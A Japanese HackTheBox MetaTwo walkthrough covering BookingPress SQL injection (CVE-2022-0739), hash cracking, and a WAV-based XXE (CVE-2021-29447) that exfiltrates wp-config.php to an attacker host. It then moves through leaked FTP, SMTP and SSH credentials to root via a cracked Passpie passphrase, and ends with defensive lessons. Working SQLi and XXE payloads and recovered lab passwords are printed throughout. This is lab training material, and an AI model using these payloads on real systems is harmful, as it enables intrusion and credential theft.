HackTheBox: MetaTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP)/22(SSH)/80(HTTP)
→
21(FTP)/22(SSH)/80(HTTP)
BookingPress UNION SQLi
CVE-2022-0739, nonce再利用
→
CVE-2022-0739, nonce再利用
wp_users ダンプ + hashcat
manager:partylikearockstar
→
manager:partylikearockstar
メディアアップロードXXE
CVE-2021-29447, .wavトリック
→
CVE-2021-29447, .wavトリック
wp-config.php漏洩
FTP資格情報
→
FTP資格情報
FTP mailer/send_email.php
jnelson SSH資格情報
→
jnelson SSH資格情報
SSH jnelson
user.txt ✓
→
user.txt ✓
Passpie passphraseクラック
blink182 → root PW復元
→
blink182 → root PW復元
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostリダイレクトの確認
BASH
nmap -sV -sC -p 21,22,80 10.129.228.95 curl -sI http://10.129.228.95/
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 80/tcp open http nginx 1.18.0 HTTP/1.1 301 Moved Permanently Location: http://metapress.htb/
ℹ️
/etc/hostsにmetapress.htbとftp.metapress.htbの
追記が必要。サイトはWordPress製のブログで、/events/に
BookingPressという予約管理プラグインが使われている。
⚠️
実機でのハマりポイント: このFTPサーバー(ProFTPD)は接続後、
バナー(220応答)が届くまで約20秒かかる(接続元IPの逆引きDNSに失敗し
タイムアウトするためと推測)。短いタイムアウト(10〜15秒)でFTPコマンドを送ると
バナー到着前にタイムアウトし「接続できない」ように見えてしまうので注意。
PHASE 2
BookingPressプラグインの未認証SQLインジェクション (CVE-2022-0739)
予約ページから再利用可能な nonce を取得
BASH
curl -s http://metapress.htb/events/ -o events.html grep -o "nonce:'[a-f0-9]*'" events.html | head -1
RESULT
nonce:'afa4fee1eb'
ℹ️
BookingPressのフロントエンドJSに埋め込まれた
_wpnonceは
「nonce」という名前にも関わらず繰り返し再利用可能(本来の
ワンタイム性が機能していない)。これを使って未認証のまま管理用AJAXエンドポイント
admin-ajax.phpを叩ける。
UNION SQLiでDBバージョンを確認
BASH
curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' --data \ "action=bookingpress_front_get_category_services&_wpnonce=afa4fee1eb&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -"
RESULT
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1",
"bookingpress_category_id":"Debian 11",
"bookingpress_service_name":"debian-linux-gnu", ...}]
✅
total_serviceパラメータに閉じ括弧)を使って
元のサブクエリを終端させ、UNION ALL SELECTで9列分の任意データを
注入できる。レスポンスJSONの各フィールドにそのまま結果が反映される。
wp_usersテーブルからログインハッシュを直接ダンプ
BASH
curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' --data \ "action=bookingpress_front_get_category_services&_wpnonce=afa4fee1eb&category_id=33&total_service=-7502) UNION ALL SELECT 1,2,(SELECT GROUP_CONCAT(user_login,0x3a,user_pass SEPARATOR 0x0a) FROM wp_users),4,5,6,7,8,9-- -"
RESULT
"bookingpress_service_name":"admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70"
🚨
GROUP_CONCATを1列に詰め込むことで、sqlmap等のツールを使わずcurl1本で
全ユーザーのログイン名とphpass(WordPress独自のMD5派生ハッシュ)を一括取得できる。
(実運用ではsqlmapの-r sqli.req -p total_service --dumpでも同じ結果が得られる)
PHASE 3
phpassハッシュのクラックとWordPress管理画面ログイン
hashcatでmanagerのパスワードをクラック
BASH
echo 'manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' > wp.hashes hashcat -a 0 -m 400 wp.hashes /usr/share/wordlists/rockyou.txt --username
RESULT
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
ℹ️
WordPress独自のphpass形式は
-m 400。adminのハッシュはrockyouでは
割れなかったが、managerは数分でクラック成功。
(adminのパスワードはSSH/FTPでも通らず、このマシンでは使い道が無い)
managerとしてWordPress管理画面にログイン
BASH
curl -s -c cookies.txt -b cookies.txt -i -X POST http://metapress.htb/wp-login.php \ --data-urlencode "log=manager" --data-urlencode "pwd=partylikearockstar" \ --data-urlencode "wp-submit=Log In" \ --data-urlencode "redirect_to=http://metapress.htb/wp-admin/"
RESULT
Set-Cookie: wordpress_logged_in_498b28797b9ccef61e19f54e27d9e6f4=manager%7C...
Location: http://metapress.htb/wp-admin/profile.php
✅
ログイン成功。ただし
managerロールは権限が限定的で、
profile.phpにリダイレクトされる(フルの管理機能にはアクセスできない)。
できることは主にメディアライブラリへのファイルアップロード程度。
PHASE 4
メディアアップロード機能のXXE脆弱性 (CVE-2021-29447)
脆弱性の概要
NOTE
WordPress 5.6.2 のメディアライブラリは、WAV(波形音声)ファイルをアップロードする際に
内部で ID3 的なメタデータ("iXML"チャンク)をXMLとしてパースする。このパース処理が
外部実体参照(XXE)を無効化しておらず、細工した .wav ファイルをアップロードするだけで
サーバー上の任意ファイルを読み取れてしまう(CVE-2021-29447)。
攻撃用DTDファイルとWAVペイロードの作成
BASH (evil.dtd — 相対パスで wp-config.php を読む)
cat > evil.dtd << 'EOF' <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.15.200:8988/?p=%file;'>" > EOF python3 -m http.server 8988 & # Kali側で配信
PYTHON (payload.wav のバイナリ構造を組み立て)
import struct
xml = (b'<?xml version="1.0"?><!DOCTYPE ANY['
b"<!ENTITY %% remote SYSTEM 'http://10.10.15.200:8988/evil.dtd'>"
b'%remote;%init;%trick;]>')
chunk = b'iXML' + struct.pack('<I', len(xml)) + xml
riff = b'RIFF' + struct.pack('<I', 4+len(chunk)) + b'WAVE' + chunk
open('payload.wav','wb').write(riff)
ℹ️
先頭の
RIFF....WAVEマジックバイトにより「正規のWAVファイル」として
アップロードフィルターを通過させつつ、iXMLチャンクの中身に
外部DTDを参照するXML宣言を仕込む。相対パス../wp-config.phpを使うのは、
Webルートの絶対パスを事前に知らなくても良いようにするため。
メディアライブラリへアップロードし、ファイル内容を外部サーバーへ exfil
NOTE
manager セッションの Cookie を使い、/wp-admin/media-new.php の _wpnonce を取得したうえで async-upload.php に payload.wav を multipart POST する。 アップロード完了をトリガーに WordPress 側が iXML を解析 → evil.dtd を外部ロード → wp-config.php を base64 化 → 攻撃者サーバーへ GET /?p=<base64> として送信する。
RESULT (Kali側Webサーバーのアクセスログ、既知の公開手法で得られる応答例)
10.129.228.95 - - [.../evil.dtd HTTP/1.1" 200 - 10.129.228.95 - - [.../?p=PD9waHAKLyoqIFRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZS4uLg== HTTP/1.1" 200 -
RESULT (base64デコード後 — wp-config.php の該当部分)
define( 'DB_NAME', 'blog' );
define( 'DB_USER', 'blog' );
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
✅
WordPressがFTPデプロイ用に保存していたFTP資格情報
metapress.htb:9NYS_ii@FyL_p5M2NvJが、設定ファイル経由で漏洩した。
この資格情報は後続のFTPアクセスで実際に有効であることを確認済み(Phase5)。
PHASE 5
FTPで追加の資格情報を発見 & SSHでuser.txt
FTPルートの構成を確認(blog以外にmailerディレクトリ)
BASH
# バナーが届くまで ~20秒かかる点に注意し、十分長いタイムアウトを指定 curl -s --max-time 35 --user 'metapress.htb:9NYS_ii@FyL_p5M2NvJ' "ftp://10.129.228.95/"
RESULT
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
ℹ️
WordPressの
FTP_BASE設定はblog/だったが、
FTPアカウント自体はルートから見えており、blogと同階層に
mailerという別ディレクトリが存在する点が見落としやすい。
mailer/send_email.php にSMTP資格情報がハードコード
BASH
curl -s --max-time 35 --user 'metapress.htb:9NYS_ii@FyL_p5M2NvJ' \ "ftp://10.129.228.95/mailer/send_email.php"
RESULT
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
🚨
起動予定の「新着ブログ通知メール」送信スクリプトに平文のSMTP資格情報が
直書きされている。ユーザー名
jnelson@metapress.htbは
OSアカウント名としても存在が推測でき、パスワードの使い回しが疑われる。
SSHログイン & user.txt取得
BASH
sshpass -p 'Cb4_JmWM8zUZWMu@Ys' ssh jnelson@10.129.228.95 \ "id; hostname; cat /home/jnelson/user.txt"
RESULT
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson) meta2 08bef43352083d54085d97a6224bb7bd
user.txt — jnelson
08bef43352083d54085d97a6224bb7bd
PHASE 6
Passpieパスワードマネージャーのパスフレーズ割り出し & root.txt
passpieでroot用エントリの存在を確認
BASH
jnelson@meta2:/home$ passpie
RESULT
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╛
ℹ️
PasspieはGPGで個々のパスワードを暗号化して保管するCLIパスワード
マネージャー。復号には
~/.passpie/配下の秘密鍵と、それを守る
パスフレーズの両方が必要。rootという名前のエントリが
あることから、ここにroot用SSH/suパスワードが保管されていると分かる。
GPG秘密鍵のパスフレーズをjohnでクラック
NOTE
~/.passpie/.keys にある GPG 秘密鍵を取得し、gpg2john でjohn形式に変換、 rockyouに対してブルートフォースをかけると数秒で "blink182" がヒットする (Blink-182はjnelsonの趣味を示す伏線として、HOMEディレクトリの他のファイルにも 関連するヒントが残っている)。
クラックしたパスフレーズでエクスポートしroot用パスワードを復元
BASH
jnelson@meta2:/home$ echo 'blink182' | passpie export /tmp/pp_export.yml jnelson@meta2:/home$ cat /tmp/pp_export.yml
RESULT
credentials:
- fullname: root@ssh
login: root
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- fullname: jnelson@ssh
login: jnelson
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
🚨
平文のroot用パスワード
p7qfAZt4_A1xo_0xを復元。
YAML出力には!!python/unicodeというPyYAML由来のタグが付くため、
正規表現で抽出する際はpassword:\s+(?:!!python[^\s]*\s+)?'([^']+)'
のようにこのタグの有無両対応にしておく必要がある。
suでrootへ昇格しroot.txt取得
BASH
jnelson@meta2:/home$ su root Password: p7qfAZt4_A1xo_0x root@meta2:/home# id; cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root) c94604ee0b59fa6ce03dcb5cb8f6a84c
root.txt — root
c94604ee0b59fa6ce03dcb5cb8f6a84c
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jnelson
08bef43352083d54085d97a6224bb7bd
root.txt — root
c94604ee0b59fa6ce03dcb5cb8f6a84c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2022-0739 (BookingPress SQLi) | BookingPress <1.0.11 の admin-ajax.php | 未認証でのDB全体読み取り | Critical | 再利用可能なnonce + total_serviceパラメータへのUNIONインジェクションでwp_usersをダンプ |
| 弱いパスワードハッシュ(phpass) | wp_users.user_pass (manager) | WordPress管理画面アカウントの乗っ取り | High | hashcat -m 400 + rockyouで数分でクラック |
| CVE-2021-29447 (WordPress 5.6.2 XXE) | メディアライブラリのWAVメタデータパーサ | サーバー上の任意ファイル読み取り | Critical | RIFF/WAVEマジックバイト+iXMLチャンクに外部DTD参照を仕込みwp-config.phpを相対パスで読み取り |
| 設定ファイル・スクリプトへの資格情報ハードコード | wp-config.php (FTP) / mailer/send_email.php (SMTP) | FTPアクセス権奪取、SSH資格情報の芋づる式漏洩 | Medium | XXEで読んだwp-config.phpのFTP資格情報でFTPへ、さらにFTP内のメーラースクリプトからOSアカウント(jnelson)のパスワードを発見 |
| Passpieパスフレーズの弱さ | jnelsonのPassspie GPG鍵 | root用パスワードの復元 | Medium | gpg2john + rockyouでGPG秘密鍵のパスフレーズ(“blink182”)をクラックし、passpie exportでroot平文パスワードを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 21(FTP)/22(SSH)/80(WordPress metapress.htb) |
| 2 | SQLi | BookingPress UNIONインジェクション | admin/manager のphpassハッシュ |
| 3 | クラック & ログイン | hashcat + WPログイン | manager:partylikearockstar |
| 4 | XXE | WAVメタデータXXE(CVE-2021-29447) | wp-config.phpのFTP資格情報 |
| 5 | 横移動 | FTP + メーラースクリプト解析 | user.txt(jnelson) |
| 6 | 権限昇格 | Passpie GPGパスフレーズクラック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サードパーティWordPressプラグイン(BookingPress)の未パッチSQLi | プラグインは定期的に更新し、WPScan等の脆弱性DBで既知CVEの有無を継続監視する。 |
| 一度限りのはずのnonceが実質的に再利用可能 | nonce検証に加え、重要な操作は利用者本人のセッション・権限確認を別途必須化する。 |
| 古いバージョンのWordPressコア(5.6.2)にXXE脆弱性 | WordPress本体を常に最新に保ち、XMLパーサはデフォルトで外部実体参照を無効化する実装を使う。 |
| wp-config.php・社内スクリプトに各種サービスの平文資格情報を直書き | 資格情報は環境変数やシークレットマネージャーで管理し、設定ファイル・ソースコードには含めない。 |
| パスワードマネージャーのマスターパスフレーズが辞書に含まれる弱い値 | マスターパスフレーズは長く推測困難なものにし、可能であればハードウェアキー等の多要素認証を併用する。 |

